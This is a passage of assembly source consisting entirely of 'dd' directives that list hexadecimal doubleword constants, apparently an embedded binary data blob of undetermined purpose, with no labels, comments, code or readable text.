9E213Eh, 15D26799h, 0E0F9A695h dd 0AC335824h, 69041011h, 8276FA29h, 0A05E14A8h, 1F1B2EE0h dd 0E2B100B0h, 0EEA5679h, 0EF04463Bh, 6DF85AA8h, 0ECA4ECC3h dd 0ECB82480h, 471913CAh, 0AB2C0054h, 1F955EC9h, 2DE6A013h dd 0BAAC88h, 68639F8Ch, 0E957CCBEh, 51C29500h, 8899C4EEh dd 1D8FA41h, 2E088E9Fh, 840F2206h, 20DD0CB1h, 8AB405AEh dd 3EE8E274h, 0F888DF6Bh, 8A963E0Fh, 4F956980h, 88B6C0EEh dd 60D872CEh, 0B530F89Eh, 1C6490EDh, 75C92F3h, 0E090F6C2h dd 0E5011EBCh, 6977E012h, 8B12D448h, 7C44D7C0h, 4102C571h dd 0EC2F885h, 0BACD4136h, 0E0C427D0h, 0B4D7582h, 0D8A71FEBh dd 310A2098h, 3C966700h, 6D9A51E1h, 45E602C4h, 8030546h dd 77522DE0h, 987FC0Eh, 908B431h, 5129019Fh, 0A16F00ECh dd 0D7FFF0D6h, 31EDEF00h, 0EEE49F27h, 8EB8B9C8h, 54215BC2h dd 0A0D18753h, 0F64F0860h, 86F0C020h, 91C79A4h, 3705759Dh dd 88AC6476h, 0C42F6809h, 16E0007Ch, 24A06D2Ah, 7C00C550h dd 95CD04B7h, 2B0A8AFh, 20DEDD36h, 7858EB25h, 51340700h dd 7A617216h, 23CB07CFh, 807F15E8h, 990FF6BCh, 59575327h dd 56B589CCh, 11F0C086h, 0C0222EE1h, 5034D492h, 3E3C9686h dd 0B8EF8037h, 70E36ACBh, 12050090h, 0EE2028D5h, 7F2DA697h dd 0C694115Dh, 8A632C00h, 7A348206h, 14E9B07Ch, 347791AAh dd 69000922h, 0C6466675h, 194A7802h, 380BC58Bh, 0F48214A4h dd 0A08743CBh, 947E23CEh, 0FE03E1A0h, 242B6E04h, 9EFE0208h dd 900208A4h, 466FF54Dh, 7EEB1DFCh, 5007F848h, 0C0D62F5Eh dd 3FED282Dh, 0D27A9B00h, 4D328D56h, 0B9A498F8h, 2F601078h dd 85B440EDh, 2857899Fh, 0C7EF10DCh, 0F7CB8880h, 98A2C591h dd 7442DCE2h, 0CC3CC416h, 0A1F60051h, 31080441h, 0FDF71311h dd 2124F0D7h, 7D0410B7h, 0A4614CCCh, 52EADD00h, 3EC1532Ah dd 0EC763816h, 0E0D8A30Ah, 1F288039h, 0FD54FE20h, 0CD632EBFh dd 48E84028h, 4F008C6Bh, 9FC8560Fh, 0A8909Dh, 0E6D71E83h dd 8615F80h, 6032BF2h, 9077AEB0h, 0D826E1A0h, 8F20813Ah dd 181E1588h, 0E0481064h, 6F409C02h, 0B5D46C28h, 0E6171890h dd 0C11DFE72h, 0D9401F57h, 281EC7EEh, 66532F6Bh, 79C6A8E0h dd 689D1500h, 760E7435h, 203E00AAh, 9B6981D3h, 0A90060C9h dd 7B3507FBh, 5F8896h, 8E25153h, 588B9FCBh, 0FA201E12h dd 7842581Dh, 60D6C309h, 0F81FF181h, 0A5BA09FBh, 5870894Eh dd 89E38F3Bh, 0D1380474h, 0C0761D3Ch, 17CF3AA8h, 0DC00942Fh dd 99AF27E9h, 1556FAAh, 399D5E0Ah, 2A451078h, 60110CCBh dd 0C6842DD9h, 1F9018C4h, 0F44DC006h, 4350EC97h, 0B8205F5Ch dd 1334125h, 4FD4D721h, 2B2C05F5h, 69F428h, 5878D084h dd 9A4925C5h, 96B0352Dh dd 9F8C9824h, 0B0A75092h, 85A27561h, 0C2B032F0h, 88136B04h dd 88003AF8h, 3D15FE22h, 19C8261h, 37348FFh, 24432FB4h dd 1D886EE0h, 7E3CA2FCh, 0BC291234h, 83D2B1C0h, 65805EAh dd 78744180h, 0AE087009h, 0C1E40788h, 0F0B440ABh, 56B20099h dd 448DF21Fh, 292D4E26h, 132091BEh, 0FF061D10h, 924098B7h dd 0FE8C90B4h, 0F9270BACh, 0CD3E4FEh, 66EFB802h, 880880CAh dd 0F2896E4Fh, 9704FF7h, 0D0E4D0B4h, 80F3963Dh, 0FB44C67Fh dd 3E2551Ah, 40192488h, 0FEE8C317h, 0A94F2808h, 0BBB6EC90h dd 65610089h, 0D68594F7h, 5004DA97h, 156C1796h, 5600F4E2h dd 8D5C594Ah, 830FEB05h, 0E73B77C2h, 0F8C00FAAh, 4E7D7B6Fh dd 8B6824B3h, 20E40034h, 838DAEFh, 2BD0B7A1h, 14D15F2Ch dd 88A1124Eh, 11650810h, 0F75B2E6Dh, 0A8121278h, 3269A0A8h dd 55BB00C3h, 682DBDECh, 982EA509h, 56C5F06Fh, 0C017E0D9h dd 6FF64E61h, 203F9E21h, 630DE70h, 0DC2D2B29h, 79183538h dd 70084A2h, 0BAD757FAh, 940085ABh, 62B11A76h, 0ACF244h dd 0E69018CFh, 0A8CB1E1Bh, 421FF4Ah, 7008109h, 0A915D94Eh dd 4E946492h, 9026ECB7h, 0AD10020h, 0AE49BF65h, 6A317498h dd 8FD9989h, 0F031AF14h, 1C682970h, 0C47CC8D2h, 66B7531Fh dd 0D1BF6D01h, 5A61A3E7h, 125AFDC0h, 0C560EC99h, 8098FC9Ch dd 3329437Ch, 1AB2382Ch, 6CF00F0h, 0D83114AAh, 0B600CA2Dh dd 0F4174F9Ah, 385553Eh, 0AEDD3B0Fh, 82C08967h, 253A081Ch dd 49A30183h, 867A39FBh, 0F7125C63h, 128C5F15h, 2768CA80h dd 920C4F6h, 2A3492B6h, 60098DAh, 7B21D01Ah, 0B5297F87h dd 97545810h, 0F27AA500h, 2527DFE4h, 6D79006Ch, 0B7D8DBBEh dd 0CCA69361h, 0B59960BCh, 8C2E2E60h, 0F9531D38h, 0CA8C77B4h dd 4B183091h, 0F856D4E0h, 3680C89Eh, 9D2E2B6Fh, 124D004Eh dd 713DA5E6h, 0A300BC09h, 171ED705h, 5F5B0F9Fh, 0ED800BBFh dd 550C7CBCh, 6182F8BEh, 31F90229h, 2ACD2FA0h, 0B1867463h dd 1F475911h, 0DC165707h, 4A63D2A4h, 5A35A4C0h, 0CBF25D00h dd 2824A15Ch, 266DEE4Eh, 6088BE09h, 9A7E83D5h, 0B52B3407h dd 0DC398D47h, 5D7689D0h, 0D202C898h, 0F38F8E00h, 6774B024h dd 3F11007Ah, 2F348375h, 1B788228h, 0F4C20F9h, 0D2767DFEh dd 8C6C9Dh, 0EF277716h, 0EE6C1FAFh, 2A0EDE01h, 945E0F0Bh dd 4730E822h, 0B73D9F39h, 0FEE8A97Fh, 24E4834Eh, 0D3C02EBEh dd 2ACF0040h, 898D4349h, 0CDF1D814h, 0B8610008h, 79370CF9h dd 68631DACh, 7CD6011Dh, 0C03BF140h, 5E771744h, 6EAE3Ch dd 0AB2373E1h, 0F6C088h, 477F9037h, 94D0551Bh, 5232030Ah dd 97074C15h, 76059AAh, 39EDB92Ah, 3D0744C1h, 11A1C711h dd 0E0C0C60Eh, 70003815h, 57BE307Ah, 220D11Eh, 91697689h dd 387A2605h, 0D7097000h, 420CDE03h, 29692EF1h, 0BF3F0358h dd 8275FEFh, 0BF49020h, 25060439h, 0E88DF312h, 20C88FDCh dd 0C28E4315h, 78CB037Ch, 0D784D039h, 325E19E8h, 0C9407C96h dd 22FAC7h, 4E63EFDDh, 47303C76h, 6FF94B02h, 40ECB7DFh dd 915C7FB4h, 3E24AC54h, 0A2E8804Fh, 82F0FB6Ah, 0B0906C24h dd 0A0327070h, 98CEF6D4h, 16CA607h, 2A3FAA27h, 2FA6CFEAh dd 0D3A8E820h, 0BF8902C8h, 5803EDFFh, 20D9C41h, 0EC2255F7h dd 0BC137892h, 1A002CF9h, 0D50A4BE8h, 7A0B2268h, 0C228BD37h dd 0D4147754h, 956C8054h, 4F04735Ch, 0D100C4F3h, 2243338Ah dd 6302DA4Fh, 7997278Bh, 285AC03Dh, 1DF91420h, 1F1D28FBh dd 57CBF16h, 7FA497F4h, 0C49C3363h, 0E83C8DF1h, 34108AF0h dd 9507E556h, 0A5E624A7h, 8000ECB5h, 5B3527Dh, 78C50172h dd 0DEC4A830h, 49460B1h, 41DC7C8Ah, 60D0ACE0h, 0E517C1DCh dd 7C8A619Bh, 0F04E9017h, 9C00722Ch, 0EC5A3E0Bh, 1112CAh dd 0B3083281h, 2AEA4A14h, 6DFA2000h, 880C15E9h, 1EF45ED2h dd 0A4298000h, 79C6AA1Fh, 1D240614h, 0AC8893F4h, 849A001Bh dd 6ADB487Ah, 7E21F8Ch, 1E1206E2h, 0C0ED8875h, 992EB498h dd 6DA22A00h, 4CE6765Ch, 4BF8005Ah, 92C0594Eh, 0CCEFCEF0h dd 613F88B5h, 0BE0F13B2h, 594CA001h, 9C38D71Ah, 9BDCF680h dd 490E0E03h, 5738792Eh, 0EA050024h, 0CCE4A82Fh, 0CF9F0091h dd 142B1682h, 23022E8Bh, 58C4183Dh, 0F7D3825Dh, 0D825D5BEh dd 0F5E4E886h, 8BD5D100h, 30FC26h, 0BB0E62B7h, 7116A80h dd 3836A502h, 71A958A8h, 805C2860h, 3D3AF128h, 7596945Fh dd 6F2F0668h, 54A32920h, 27768A00h, 56141B2h, 4C409F83h dd 73137EADh, 80ADF7F2h, 9B8F5782h, 40302C51h, 0D87ACCh dd 63808527h, 0A95B0C70h, 64C48F03h, 0E138A67Fh, 13702853h dd 0AC0524E6h, 50200060h, 948FE0C9h, 3B9DC338h, 6B47936Dh dd 0A871F218h, 6A003FEh, 0E3633A74h, 0D2C7D8D8h, 7DB44505h dd 74C04A34h, 12902D88h, 0CA6029h, 137593Ch, 0AB040956h dd 18FE68D0h, 446FD200h, 1D806022h, 690B6002h, 7B68F221h dd 28CD884Bh, 664202Bh, 91973020h, 0E0170950h, 8A16D155h dd 3AD78E07h, 0A0048C2Eh, 0C30050B9h, 3C16B32Dh, 0AD00FC9Ch dd 0FE08C002h, 0B22E6F8Bh, 0C78F0238h, 813AD30Fh, 2BDFC461h dd 31D0CC1h, 2C48844Dh, 7E200048h, 0BA475107h, 3B00B242h dd 33734677h, 97A63F4Bh, 9969A098h, 617F8200h, 6BE367C3h dd 9E1E4B3h, 28333486h, 12443866h, 1EE5B80Ch, 587AB75Fh dd 0FC1F799Dh, 0EF388A73h, 0F5508497h, 20EBA168h, 0E25DCCB8h dd 1E04549h, 0D21D5B21h, 222ABFD6h, 0A6192640h, 4647E09h dd 0E4167D80h, 1F09F6B8h, 1703AC2h, 8D9A00Eh, 100844AAh dd 0B34F14FCh, 945B74F8h, 84835C88h, 0D8CEF12Eh, 0F416924Eh dd 0C8824409h, 1AFA256Ch, 116AA828h, 443ED85Eh, 0DF3F0081h dd 0C9B0C108h, 0BF0958CDh, 0C42B4A78h, 8AC5029Ch, 7B6957E8h dd 78281975h, 0E0EC3C45h, 8085681Eh, 0DD7B3797h, 6301141Fh dd 50C7A359h, 6033BE58h, 80A04A00h, 62FE3319h, 9E008570h dd 0F9F2E7DDh, 481D1FB4h, 0BA3B54A1h, 0C9B4204Fh, 52EE6430h dd 0C8C4E500h, 0AF1736A4h, 0E1D50026h, 28C19987h, 98B52A1Fh dd 248BC948h, 3C942923h, 7285DD80h, 0A064803Eh, 88516909h dd 35A80052h, 5E70C6Eh, 0B82DDF7Fh, 0F89413BEh, 482B8860h dd 22801FB0h, 0D190AA25h, 8F4A014h, 7AD2F5FDh, 5D54A901h dd 51487EBh, 4D11F08h, 0A8AB8C14h, 22F0D03Ch, 91AA24A6h dd 2479C924h, 0C0244BBCh, 0D396FBC0h, 0D41A07BFh, 9E4DD13Ah dd 0D9D881A3h, 0F5CBAFB0h, 0CDAA3B0Bh, 82C8C58Eh, 59B591C4h dd 1C411004h, 0C474A39Dh, 0A238CE68h, 0F46CB0A7h, 4E1F51B7h dd 1A0488B9h, 0D2502084h, 16A44520h, 5DBD2890h, 64444064h dd 2934AAB6h, 99F0B90Bh, 3707B7Bh, 904A7127h, 8FBF54B0h dd 0F16AA00Ah, 5F0EBC58h, 0AAE12433h, 80138A5h, 1440C88Fh dd 0FDF1F21h, 17181EBAh, 0CAED2002h, 601778D2h, 34A225D0h dd 0F10CA018h, 9B0E395Fh, 0C0D2C89Ch, 9641CBC5h, 7B8E072Eh dd 4E0FF484h, 8470BC04h, 1182000Ah, 58D591A3h, 0AE0007E4h dd 598F10B6h, 2C90B192h, 64B4BE6Ah, 0AAA680ADh, 38043D5Eh dd 210635C7h, 4682C88h, 57C65129h, 8074EC2Ch, 8B2867F6h dd 0CA1D045Ch, 0C1B9BFD9h, 733B6F64h, 0E75F0120h, 0F3F648D4h dd 0E7B9A1F4h, 4A05E060h, 0AB2C251Fh, 8CE48017h, 7863111Ch dd 0FFA00E9Eh, 76F749FDh dd 0D016B70h, 0F8ADC9EEh, 4A1CFB21h, 691699C5h, 94804CA8h dd 2B603228h, 0DECBC300h, 91573EB7h, 7A3011Bh, 206CBFFAh dd 0DC0C6E9Bh, 15B71DCh, 0FA293203h, 0D0122C7Ch, 25012AC8h dd 0B95821FBh, 986370F9h, 7B803000h, 2D3D44C7h, 57D36F00h dd 7C77E604h, 2906B0E4h, 2F092A9h, 8458021h, 6EBD3CC9h dd 7822FC40h, 757AE295h, 336F3E6Eh, 0C28F4189h, 49437044h dd 0CCBC4B20h, 80E30824h, 0FF2C846h, 7CCD038Ah, 2943AB72h dd 4C30BAE4h, 7027DD5Bh, 0FBAA2603h, 0AC86081Ch, 75495CAEh dd 0C3775483h, 0DDF97DA0h, 0F615AE03h, 0EAC5FE6Dh, 0ACB0D60Ch dd 0F2161260h, 8A9D7934h, 0CC248CD0h, 0C4CA6662h, 0CB3FE160h dd 4F8F0068h, 8936F813h, 50C19D49h, 177FC5F7h, 0C8D466C0h dd 7E8A02E4h, 2905DE68h, 8797A45Ah, 534F5CA8h, 24407840h dd 61782Bh, 0E8CDF1BAh, 82DAB19h, 81A89E00h, 0F520305Eh dd 550C07D0h, 119DC962h, 0F045B205h, 1202D4FDh, 0BA88258Eh dd 0E44A0F9h, 141CFE7h, 1D62D590h, 74D9291Fh, 3429B2D0h dd 6225DCCDh, 0BA840424h, 3818BF4Bh, 0E0002B7Fh, 958278F3h dd 1464C36h, 0AAE44FB6h, 0E9D56672h, 20E6811Fh, 0FCFF61EFh dd 0F56C4B3Ah, 4985889h, 0C880F21h, 0F809B7DEh, 98ACC99h dd 268DB420h, 39785A1Fh, 0B9CC80DBh, 5491C7EFh, 5CBF0800h dd 5A2EAF57h, 424F1A0h, 0C0E4EC08h, 0FF81F573h, 11E0D3h dd 5A18E5BCh, 0A01C6F38h, 76323300h, 3F69350Bh, 6A050120h dd 962970Dh, 872D20A6h, 0D500237Ch, 118F13B1h, 9C7B35h dd 9009C68Ah, 61802DE5h, 261CEC0Bh, 4424DAE0h, 2D7E3621h dd 449DD600h, 0F5D4A250h, 224D009Eh, 90A77C4Bh, 4B586C3h dd 8530930h, 29441298h, 0E207BCB2h, 201B23D2h, 0F0998B4Fh dd 7FA19706h, 7B311460h, 0BECA48Fh, 2B34927Eh, 940460D0h dd 22465A1Eh, 2F68F0A0h, 90C4C105h, 13218544h, 0F81C7FFCh dd 80158B9Ch, 9A801AC8h, 554498D1h, 0E002E47Eh, 0AC002982h dd 3D52C46h, 0BF4CC002h, 5A192305h, 0D21480C0h, 3B080176h dd 4C72FCA8h, 895801C6h, 1F37F181h, 442FEE26h, 0A090B884h dd 733CF5EFh, 9B1F19B0h, 108790DAh, 244D7657h, 83C83B6h dd 8A249F59h, 0CCFA2D3Ch, 0F42201C0h, 7C7A0D88h, 0CDC2ACDh dd 3F300082h, 0A37B2CBAh, 0C40280F9h, 438DD2B6h, 0FA4F0E7h dd 3CFEA479h, 409A48C7h, 0B105CB98h, 6203E07h, 2D3742BCh dd 0FF8B001h, 0BD9F8AFCh, 9300CC66h, 1B1E81D2h, 9706D665h dd 0C00D6411h, 0A090D967h, 5C08FF28h, 89E31F0Ah, 281F901Eh dd 31CFEC7h, 80DC7369h, 0BCD87E8Fh, 5E002B18h, 43868C50h dd 5B5A81A6h, 0FF9484D7h, 9E80D828h, 40524920h, 508C0C5Eh dd 1E61D218h, 305656D0h, 90F72D64h, 0D8595500h, 928DFBF9h dd 89D904F8h, 0AF475EFEh, 4A65453h, 0C8D78F12h, 0B200618Ch dd 50A570B1h, 9448BB2Dh, 28A4C8D0h, 11054294h, 0F77C1629h dd 448429A0h, 9150AA68h, 5138B20h, 20C92427h, 0ED0A3C00h dd 0A55A3A3Ch, 0E3F32089h, 0D51668F6h, 37F8CA0h, 8069BABCh dd 0F90FA40h, 9015EA1h, 8650DAAFh, 0FEC827FFh, 4C49DECh dd 0F7B9B21h, 0AC971A1Fh, 0F0C85AFFh, 0C8394EA1h, 7025CA28h dd 954858BEh, 53EDBCA7h, 70CF91CEh, 0C5B0D010h, 0F087C30Bh dd 45C4504Fh, 89F464A4h, 84221F00h, 286F718Bh, 0D5263921h dd 5F367881h, 0A4558A29h, 79304178h, 4ED803BFh, 674CC0ACh dd 149C6F1Bh, 64555A40h, 0C0F20153h, 0FEF0DB1Ch, 0DCB6E8DFh dd 74342E00h, 4CEB5F3Eh, 85F30360h, 43874B80h, 3163EDE8h dd 0E8A2544Ah, 9B132900h, 0FDA97EBDh, 962B650Eh, 0F990C95Ch dd 46A34034h, 3707BDDDh, 0B59C29Eh, 0B903A610h, 0B29B5E25h dd 517F2D04h, 7B9460D4h, 4271D67h, 4424C416h, 5498030Fh dd 0C4576424h, 895E4360h, 9C1FE7Ah, 13882820h, 0C4A5CF2h dd 1D8224CBh, 0B8DF09FEh, 73BAF400h, 94312EA3h, 5E0C20F5h dd 0ACA226h, 7653C190h, 9AC0EE8Bh, 0B51D40C8h, 0C064BE58h dd 4116D8FEh, 52973B18h, 2C01A5BFh, 8729F217h, 0BFBEE404h dd 0A8C74C26h, 2D88DA08h, 24005444h, 5038F0D0h, 5A01E39h dd 6E088FD3h, 0C090AC8Ch, 2536C7C2h, 50ED00B9h, 6CC9579Bh dd 395E6F0Eh, 2F78B49Ah, 8C6E7B9Ah, 0C3979600h, 0CB912092h dd 12512621h, 0C0A20B6Ch, 94A03C16h, 7FFA2117h, 0B4B34C1Ch dd 86FAA81h, 0E830CEBAh, 0B8A34009h, 8C915A5Eh, 8028966h dd 3C9C7CF4h, 7E7A2420h, 20936410h, 0CF5CF490h, 2C11F950h dd 3E445856h, 86CF7040h, 444A469Ah, 1F00BCF2h, 0AD746F20h dd 0F70FBD88h, 6028CAC5h, 6640D9Ch, 411E6023h, 0AA847A03h dd 0AE80D091h, 9336A31h, 0B2150B1Fh, 60112083h, 887C3C4Dh dd 6050A479h, 7F090A3Bh, 0C2C73919h, 87A9A7Eh, 91A5D9E8h dd 0FEEC99F4h, 0E79617C4h, 3DD4AD4Eh, 0F71E82A5h, 61087132h dd 0CE091C9Ch, 20F8C864h, 0A42C89DFh, 459E709h, 0B84221A4h dd 0D890C9EDh, 0F405AA08h, 0A0052455h, 840A4BCh, 2E112925h dd 0E226819Ch, 0D01BCFEDh, 0A00B6DBh, 0C05021BAh, 3CB0D262h dd 5B2CFF26h, 1D7265Bh, 1F9690BEh, 0D83247h, 9189C08Ah dd 746C440h, 0E9B6E002h, 62170D9h, 0D400248Dh, 0D21D221Ch dd 246FF5B7h, 1908614Ch, 3B8BB144h, 68347C99h, 9E3A0029h dd 70A4C8E7h, 8812C6B6h, 64E8F8B1h, 589EA282h, 4725E4EEh dd 808C9081h, 0F7FC2549h, 430ED8D9h, 83ADE4E3h, 27CC29EAh dd 54F24E30h, 75174C00h, 0FD35E0FCh, 22E30600h, 6B429997h dd 2DE41C98h, 0FCEDC06Ah, 6FA4FB93h, 58C6B7h, 0BE1A6965h dd 0EA3A25C7h, 0BC3D170Eh, 0B69EE0AEh, 7DFBDEFh, 27E159BAh dd 28E7B021h, 9A60A953h, 202E1041h, 249499C7h, 0B8816E44h dd 2C32085Dh, 38ACB9F8h, 96BA600Ch, 9A07BE0Eh, 0EB638869h dd 7586BDD0h, 0BF420716h, 4B5A3270h, 9301D4E4h, 3CC551A2h dd 0C460C9B4h, 0A1F94AAFh, 0D060D4D4h, 0B2AB4C0Eh, 34E30009h dd 0F65983h, 0FD05333Bh, 6480288Dh, 88AC5D09h, 391C44A0h dd 47A403D5h, 932804BCh, 6409FEACh, 4624508Bh, 80204A2Fh dd 3793BCDh, 0EE20232Dh, 5AE89463h, 490FB38Ah, 0B4D225DBh dd 0C13969BBh, 537E173Ch, 118CB95Ch, 902F8894h, 590090D1h dd 1DF1C654h, 5A9732Bh, 53CC9B37h, 2530E08Ah, 28031642h dd 296DEF20h, 0BE1E1822h, 0CDA54064h, 3A032F1Dh, 88652156h dd 20F9AC64h, 0A4E11F80h, 6F00C020h, 6CB67732h, 2F5FE6A5h dd 987884F6h, 7C9AA204h, 11008969h, 3B82DD43h, 9F13A13Dh dd 51AD9045h, 0D0B50098h, 8668D916h, 7C004B78h, 72C489ADh dd 229667Ah, 1B83C722h, 4DC5B97h, 0AC85FB10h, 0C3708C0Bh dd 50AB591Ch, 9C175CC1h, 3EE5A6CEh, 19520DCh, 0B0565D71h dd 4002273Bh, 194E63FCh, 8E76673Fh, 0E0928FFAh, 8077C196h dd 6C060161h, 0AA05893Fh, 0E073E17Fh, 28DDBABEh, 12089584h dd 8262DD00h, 55FA0F24h, 0C099A97Fh, 0D4595D60h, 0F06D045Ah dd 0B2D77163h, 0A1A2F3BCh, 8B3A837Ah, 63A441D8h, 0ACCA4B90h dd 4B73FC05h, 1817EF1Bh, 251AACA0h, 0CCA09FD8h, 0E7AFFE61h dd 50A2604Eh, 83C5F60Bh, 8D85C981h, 3E1821DEh, 0AE08DC20h dd 33EC4Bh, 3A26900Ch, 44EF6D3h, 98F4F500h, 783989D4h dd 113F02E3h, 30D8884Ah, 0FC5FB8A2h, 0B9570C83h, 0C81E9025h dd 7C33C850h, 7B831732h dd 0FE742485h, 70B80464h, 5E822910h, 2056880h, 0F31901DBh dd 6FBA1BC2h, 0B0206AC7h, 0F0D33886h, 222C3F46h, 853B2700h dd 96D80C84h, 0DF0D441Dh, 73A029C5h, 61490B2h, 1C938822h dd 211362F4h, 0A00407C0h, 5300A127h, 2605B60Dh, 0A0421094h dd 7CFEA8h, 0B3CB1DB4h, 69BDB82Ch, 0C103234h, 91327BFCh dd 0DFA948A5h, 6EB51418h, 148C034Bh, 4B38001Eh, 366A303Ah dd 0CCA3F853h, 909F89h, 17D176BFh, 886F82F7h, 11160720h dd 8D0097A2h, 9CF384CEh, 29393DBCh, 2AF57F09h, 44F60CABh dd 408CF127h, 918FC120h, 0A09DE826h, 68F56B12h, 203CCD7Ah dd 0FB5B3380h, 7BECA4h, 9614E76h, 0D7694ACEh, 61F5E025h dd 0AC021F10h, 70D61CC2h, 48185F52h, 0B85F887Ah, 0F40030E2h dd 0B3FFECE8h, 9A0B933Dh, 7CB5AF13h, 6E784CD4h, 0CA1D6C0Bh dd 60DCFEB8h, 960A4618h, 0F4B1360Eh, 89A3440Dh, 0F8280604h dd 501F8AF8h, 40C4B809h, 0EE2628h, 676A8B37h, 0CB13B629h dd 0F8E7664Eh, 0A359AC03h, 16AAE59Ch, 0D8007C79h, 5638DEE0h dd 0CACB092Bh, 7CB83Dh, 0C00A8560h, 0BA520035h, 825FD3F0h dd 797BC329h, 95B61401h, 44359B2Bh, 788B3880h, 0AC4092B3h dd 0ECC4697h, 125F7F8Fh, 37BBC120h, 18054E90h, 97741535h dd 0A3DBE000h, 25E8648Bh, 98566E4Fh, 0B7E99A40h, 0F640003Fh dd 7A88F1B8h, 81048DE7h, 1813E41Bh, 7DA22687h, 70C7A31h dd 0E1C8B715h, 0D8B95657h, 16F44679h, 1E6BFC03h, 18FF715Ch dd 18B5BBB8h, 1D58C65Eh, 2B204A4h, 0E8C0BE99h, 19137Bh dd 4FFC9BA1h, 79812861h, 56661400h, 0C8DD8570h, 3F9C0FA7h dd 916BD182h, 83E71C81h, 0DE408492h, 0D402178Ah, 84005DA6h dd 0FF87152Bh, 0F2BA39F0h, 96131847h, 4D72A85Ch, 41268388h dd 0DCCDC6Ah, 30D3B430h, 11247BFh, 0D86EFE58h, 90A2BE06h dd 2850AFE8h, 5E9C4B5h, 0E7472363h, 0AE59C8h, 881814B4h dd 27405941h, 757611E2h, 0E8C9F7F3h, 984B08C8h, 0BDCF008Ah dd 206CDF8h, 1A01D50Ch, 1F20FE2Eh, 202A0EE9h, 9CCBB548h dd 799AF800h, 0E4384FABh, 0AC36000Dh, 9222D2Ch, 512DF708h dd 9444BFh, 0B7C0AF64h, 33496C68h, 2C0BE407h, 0F46B1578h dd 0E2F24F6Ch, 4EE80054h, 86525E0h, 40300061h, 740746E6h dd 0C0BD292Fh, 9818324h, 72EB1B82h, 85109C04h, 0C0F4A02Ch dd 1F1627h, 8C049788h, 2CC907Ch, 0DA863B84h, 0B062A10Ch dd 0CC91D0C0h, 20B1D333h, 3725A801h, 8820A752h, 70C1DE25h dd 0B09C7A32h, 0F4D3E1h, 6F4DC698h, 1887C7Bh, 40A89454h dd 21E604D6h, 453C391Ch, 62AB13C0h, 267D0B8h, 51750D1Ch dd 32DF0A43h, 16BC543Ch, 83C00057h, 0FF6D12B5h, 35252898h dd 7F7CC8A9h, 5AC70E6Ah, 0FD236427h, 835541Fh, 2B8021B6h dd 70C60C7h, 2031E8EBh, 0E7A3A106h, 2084C133h, 59C8755Dh dd 0C767C038h, 5C462757h, 0E003B022h, 84FBC75Fh, 61A2F8B3h dd 98FCEC93h, 1DCB305Ch, 0AA6F27F8h, 1FB69900h, 19B09362h dd 8E2494ADh, 0F4831D10h, 110786F8h, 6B5D5467h, 148325F0h dd 83D6608h, 44002174h, 9E25E4Ch, 2886080h, 0DE6E3B2h dd 80F57FD4h, 629F2BECh, 8731C0A0h, 2DD1F4E1h, 34F28809h dd 98E8D483h, 0ED43211Ah, 64A5D100h, 6BBC2C88h, 7AAA097Dh dd 40E5476h, 0B6029E68h, 406E3F33h, 0EB98F3Ch, 48B0F8FDh dd 0B1F71C04h, 883431A0h, 70DB28h, 52A9C799h, 237BC8FDh dd 0D303D7E6h, 43E9204Bh, 0C0FFEC65h, 0E40F0C3Bh, 0EC91200h dd 8FD65FBAh, 60910FDFh, 3783E22Ch, 0BCA3B143h, 0A7CBBAE8h dd 0BB6A5E1Fh, 81F68740h, 1E02E4h, 8021D926h, 9D7F44B0h dd 0A6EA6B00h, 848ACF4Ch, 65EE81h, 0F54E4AFEh, 3AACB801h dd 2D641F00h, 62CF1273h, 1A47FFCh, 0CC06D9A5h, 0EF2BF76Bh dd 0CB7848AEh, 800E67Ah, 61265055h, 7FCE9142h, 21F6619Ch dd 9FDA21F7h, 29805679h, 69659DA1h, 0D5BA0077h, 0A54B8BBCh dd 0ACEC2654h, 0D7061E01h, 0CC1BF70Bh, 6673398Ch, 450F7871h dd 435EBB24h, 76CF1Ah, 690AE3A0h, 0B4F76E67h, 0B9E820E4h dd 3A68B664h, 7374C0FFh, 0EA00FA5Ch, 0ABD8BB8h, 1DD81B41h dd 5809F34Dh, 0EAC3485Eh, 0EB9D700h, 2B1F3503h, 98FA1F97h dd 0BDAF0CD9h, 5A309B19h, 856A9165h, 79A80072h, 0A7CD25F0h dd 5CE86C87h, 0CCF76D00h, 5F1FE78Ch, 22C3008Dh, 0BD318526h dd 797C5CA1h, 0B2602377h, 0D4CF5E19h, 1DE703D5h, 74D886A7h dd 23D1D2B8h, 5C6F2600h, 0DBA32D93h, 0D6E005Eh, 879F9140h dd 2640D28Bh, 0C1D407F6h, 0C3586F52h, 89C099A8h, 3BF07108h dd 8DFAA2FAh, 809EE10Ch, 9D5884h, 8A9CFC31h, 0A232D2AEh dd 1998490Fh, 0DD580154h, 2883B5D9h, 535C41CFh, 0D5A1806h dd 699ACDCh, 0E4F87C84h, 39006931h, 9E6FE25Ch, 0CE124DBh dd 388A8C3Bh, 2F3FA0A0h, 60DACC85h, 48321881h, 2558C17Ch dd 0EC4729BBh, 42182624h, 64182088h, 707E49Fh, 75331DECh dd 0CDA88260h, 94CF9480h, 0F90A6658h, 0A44A5CB7h, 0FD90D118h dd 7F1084FFh, 948E9FDBh, 0B9A21E7Fh, 0E8311A0Ch, 9A7734C8h dd 7B50E8C4h, 0FF43FD6Ch, 0F596E580h, 0D601A8D4h, 5C2D5869h dd 688C7DF3h, 44F1573Ah, 7075401Bh, 428C5A9h, 599F30C0h dd 0B189BB30h, 0F91DEF00h, 260C4E70h, 1E6D010Dh, 0E8C0AE7Ch dd 0BAD1D49Eh, 29AF2A32h, 3EE72054h, 1579C424h, 31A57100h dd 299D5964h, 762007Ah, 0DDAC9344h, 0A403BDFBh, 0F156A5D8h dd 0D96FB911h, 1F86F6C0h, 0C01C18E0h, 0AC88C034h, 0FF002777h dd 0B7A7DAADh, 7302D1EFh, 4C017C7Eh, 5C135C17h, 40201C6Ch dd 0FCAB7B0Eh, 9609B45Fh, 0D8DD641Eh, 105D0054h, 4315CBF4h dd 0CE006699h, 336CF1F0h, 2B54C8h, 8C2227F9h, 0BBF504Bh dd 0A5B37A0Eh, 44EB67D7h, 6D16946Ah, 93AB8100h, 0D0F577h dd 0B9CED787h, 96923D5Ah, 601A4Ch, 0F351ADEBh, 1CD22390h dd 749125h, 720E80FBh, 6D00BE17h, 1EB01FA0h, 0EF9DFB4h dd 0ADB30F53h, 0B66148A0h, 4C0073BCh, 8AA5DAA7h, 4C6EE75Fh dd 88005931h, 0D3B0A827h, 0FE00EF5Ch, 0A4801EC9h, 38DC5462h dd 20A8C4F4h, 53F624E8h, 610B002Dh, 0B11FCB3Eh, 37E2F500h dd 490C5797h, 97E00A1h, 0F666D2E1h, 0BE005ABBh, 0C2C3D4E5h dd 78BEAFEh, 0F10136CDh, 0E99890D6h, 